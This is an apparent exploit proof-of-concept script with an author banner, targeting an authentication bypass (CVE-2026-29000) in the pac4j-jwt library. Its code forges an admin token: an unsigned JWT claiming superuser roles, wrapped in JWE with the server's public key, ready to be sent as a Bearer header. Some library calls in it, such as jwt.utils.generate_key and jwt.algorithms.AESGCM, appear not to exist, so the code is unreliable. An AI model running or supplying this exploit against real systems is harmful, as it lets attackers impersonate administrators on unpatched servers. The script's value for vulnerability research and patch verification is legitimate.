#!/usr/bin/env python3
# Exploit Title: pac4j-jwt < 4.5.9, < 5.7.9, < 6.3.3 JwtAuthenticator Authentication Bypass via JWE-wrapped PlainJWT
# CVE: CVE-2026-29000
# Date: 2026-03-05
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://www.pac4j.org
# Software Link: https://github.com/pac4j/pac4j
# Affected: pac4j-jwt < 4.5.9, < 5.7.9, < 6.3.3
# Tested on: Python 3.12 with pyjwt + cryptography
# Category: Remote Authentication Bypass
# Platform: Java (pac4j-jwt library)
# Exploit Type: Proof of Concept
# CVSS: 10.0 (Critical)
# CWE : CWE-347 (Improper Verification of Cryptographic Signature)
# Description: Allows remote attackers with only the server's RSA public key to forge authentication tokens by wrapping an unsigned PlainJWT in JWE (RSA-OAEP-256 + A256GCM), bypassing signature verification and impersonating any user (including admins).
# Fixed in: pac4j-jwt 4.5.9, 5.7.9, 6.3.3+
# Usage:
# python3 exploit.py
#
# Examples:
# python3 exploit.py
#
# Options:
# (No command-line args needed in this standalone PoC version)
#
# Notes:
# - Requires: pip install pyjwt cryptography
# - This generates a malicious token locally; in a real attack you'd fetch the public key from the target's JWKS endpoint.
# - For demo only — use responsibly and only on systems you own or have explicit permission to test.
#
# How to Use
#
# Step 1: Run the script to generate a malicious JWE token
# Step 2: Submit the token in an Authorization: Bearer <token> header to a vulnerable pac4j-jwt protected endpoint
print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ▄▄▄▄· ▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║
║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║
║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║
║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║
║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║
║ ║
║ b a n y a m e r _ s e c u r i t y ║
║ ║
║ >>> Silent Hunter • Shadow Presence <<< ║
║ ║
║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
║ CVE-2026-29000 • pac4j-jwt → Auth Bypass via Public Key ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")
import json
from datetime import datetime, timedelta, timezone
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.asymmetric.padding import OAEP
from cryptography.hazmat.primitives.hashes import SHA256
from cryptography.hazmat.backends import default_backend
import jwt
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
public_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
).decode('utf-8')
print("[+] Public key (PEM) that attacker would use:\n")
print(public_pem)
malicious_claims = {
"sub": "admin#override",
"email": "attacker@evil.com",
"$int_roles": ["ROLE_ADMIN", "ROLE_SUPERUSER"],
"iat": int(datetime.now(timezone.utc).timestamp()),
"exp": int((datetime.now(timezone.utc) + timedelta(hours=1)).timestamp())
}
print("\n[+] Malicious claims:")
print(json.dumps(malicious_claims, indent=2))
header = {
"alg": "none",
"typ": "JWT"
}
payload = jwt.utils.base64url_encode(json.dumps(malicious_claims).encode()).decode()
unsigned_jwt = (
jwt.utils.base64url_encode(json.dumps(header).encode()).decode()
+ "."
+ payload
+ "."
)
print("\n[+] Unsigned PlainJWT (inner token):\n" + unsigned_jwt)
jwe_header = {
"alg": "RSA-OAEP-256",
"enc": "A256GCM",
"typ": "JWE",
"cty": "JWT"
}
protected = jwt.utils.base64url_encode(json.dumps(jwe_header).encode()).decode()
cek = jwt.utils.generate_key(32)
encrypted_key = public_key.encrypt(
cek,
OAEP(
mgf=OAEP.MGF1(algorithm=SHA256()),
algorithm=SHA256(),
label=None
)
)
encrypted_key_b64 = jwt.utils.base64url_encode(encrypted_key).decode()
iv = jwt.utils.generate_key(12)
ciphertext, tag = jwt.algorithms.AESGCM(cek).encrypt(
nonce=iv,
data=unsigned_jwt.encode(),
associated_data=protected.encode()
)
iv_b64 = jwt.utils.base64url_encode(iv).decode()
ciphertext_b64 = jwt.utils.base64url_encode(ciphertext).decode()
tag_b64 = jwt.utils.base64url_encode(tag).decode()
jwe_token = (
protected + "."
+ encrypted_key_b64 + "."
+ iv_b64 + "."
+ ciphertext_b64 + "."
+ tag_b64
)
print("\n[+] Malicious JWE token (submit this to vulnerable pac4j-jwt):\n")
print(jwe_token)
print("\n(length: {} chars)".format(len(jwe_token)))
